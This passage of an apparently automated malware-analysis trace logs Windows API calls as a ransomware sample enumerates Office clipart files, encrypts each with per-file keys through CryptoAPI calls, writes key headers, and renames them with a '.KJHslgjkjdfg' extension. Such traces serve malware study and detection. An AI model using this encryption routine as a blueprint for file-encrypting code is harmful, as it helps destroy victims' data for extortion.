lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0230.928] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0230.928] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.928] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.928] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.928] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.929] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x451e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x451e, lpOverlapped=0x0) returned 1 [0230.929] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4520, dwBufLen=0x4520 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4520) returned 1 [0230.930] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.930] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4520, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4520, lpOverlapped=0x0) returned 1 [0230.930] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.930] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x45f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.930] SetEndOfFile (hFile=0x130) returned 1 [0230.933] GetProcessHeap () returned 0x2ef0000 [0230.933] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0230.933] GetProcessHeap () returned 0x2ef0000 [0230.933] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0230.933] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg.kjhslgjkjdfg")) returned 1 [0230.936] CloseHandle (hObject=0x130) returned 1 [0230.936] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a415a00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a415a00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02039U.BMP", cAlternateFileName="")) returned 1 [0230.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0230.937] GetProcessHeap () returned 0x2ef0000 [0230.937] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0230.937] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0230.937] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0230.937] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.937] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.937] GetProcessHeap () returned 0x2ef0000 [0230.937] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0230.937] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0230.937] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.937] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0230.940] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0230.940] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0230.940] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0230.940] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0230.940] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.940] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.940] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.940] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.941] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0230.942] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0) returned 1 [0230.942] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.943] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7ce0, lpOverlapped=0x0) returned 1 [0230.943] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.943] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.943] SetEndOfFile (hFile=0x130) returned 1 [0230.944] GetProcessHeap () returned 0x2ef0000 [0230.945] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0230.945] GetProcessHeap () returned 0x2ef0000 [0230.945] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0230.945] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp.kjhslgjkjdfg")) returned 1 [0230.946] CloseHandle (hObject=0x130) returned 1 [0230.947] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x857ca600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x857ca600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02040U.BMP", cAlternateFileName="")) returned 1 [0230.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0230.948] GetProcessHeap () returned 0x2ef0000 [0230.948] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0230.948] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0230.948] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0230.948] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.951] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.951] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.952] GetProcessHeap () returned 0x2ef0000 [0230.952] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0230.952] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0230.952] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.952] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0230.952] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0230.952] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0230.952] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0230.952] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0230.952] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.952] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.952] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.952] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.953] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7db8, lpOverlapped=0x0) returned 1 [0230.954] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0) returned 1 [0230.954] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.954] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7dc0, lpOverlapped=0x0) returned 1 [0230.955] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.955] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.955] SetEndOfFile (hFile=0x130) returned 1 [0230.958] GetProcessHeap () returned 0x2ef0000 [0230.958] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0230.958] GetProcessHeap () returned 0x2ef0000 [0230.958] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0230.958] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp.kjhslgjkjdfg")) returned 1 [0230.961] CloseHandle (hObject=0x130) returned 1 [0230.961] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf32cd000, ftCreationTime.dwHighDateTime=0x1bd4e5c, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf32cd000, ftLastWriteTime.dwHighDateTime=0x1bd4e5c, nFileSizeHigh=0x0, nFileSizeLow=0x6afc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02053J.JPG", cAlternateFileName="")) returned 1 [0230.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0230.964] GetProcessHeap () returned 0x2ef0000 [0230.964] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0230.964] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0230.964] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0230.964] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0230.983] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.983] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.983] GetProcessHeap () returned 0x2ef0000 [0230.983] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0230.984] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0230.984] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.984] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0230.984] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0230.984] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0230.984] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0230.984] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0230.984] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.984] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.984] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.984] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.984] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6afc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6afc, lpOverlapped=0x0) returned 1 [0230.985] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6b00, dwBufLen=0x6b00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6b00) returned 1 [0230.986] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.986] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6b00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6b00, lpOverlapped=0x0) returned 1 [0230.986] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.986] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.986] SetEndOfFile (hFile=0x130) returned 1 [0230.989] GetProcessHeap () returned 0x2ef0000 [0230.989] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0230.989] GetProcessHeap () returned 0x2ef0000 [0230.989] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0230.989] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg.kjhslgjkjdfg")) returned 1 [0230.991] CloseHandle (hObject=0x130) returned 1 [0230.991] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b7f200, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80b7f200, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02058U.BMP", cAlternateFileName="")) returned 1 [0230.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0230.992] GetProcessHeap () returned 0x2ef0000 [0230.992] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0230.992] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0230.992] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0230.992] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.992] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.992] GetProcessHeap () returned 0x2ef0000 [0230.992] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0230.992] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0230.993] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.993] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0230.994] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0230.995] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0230.995] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0230.995] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0230.995] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.995] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.995] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.995] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.995] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0230.996] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, 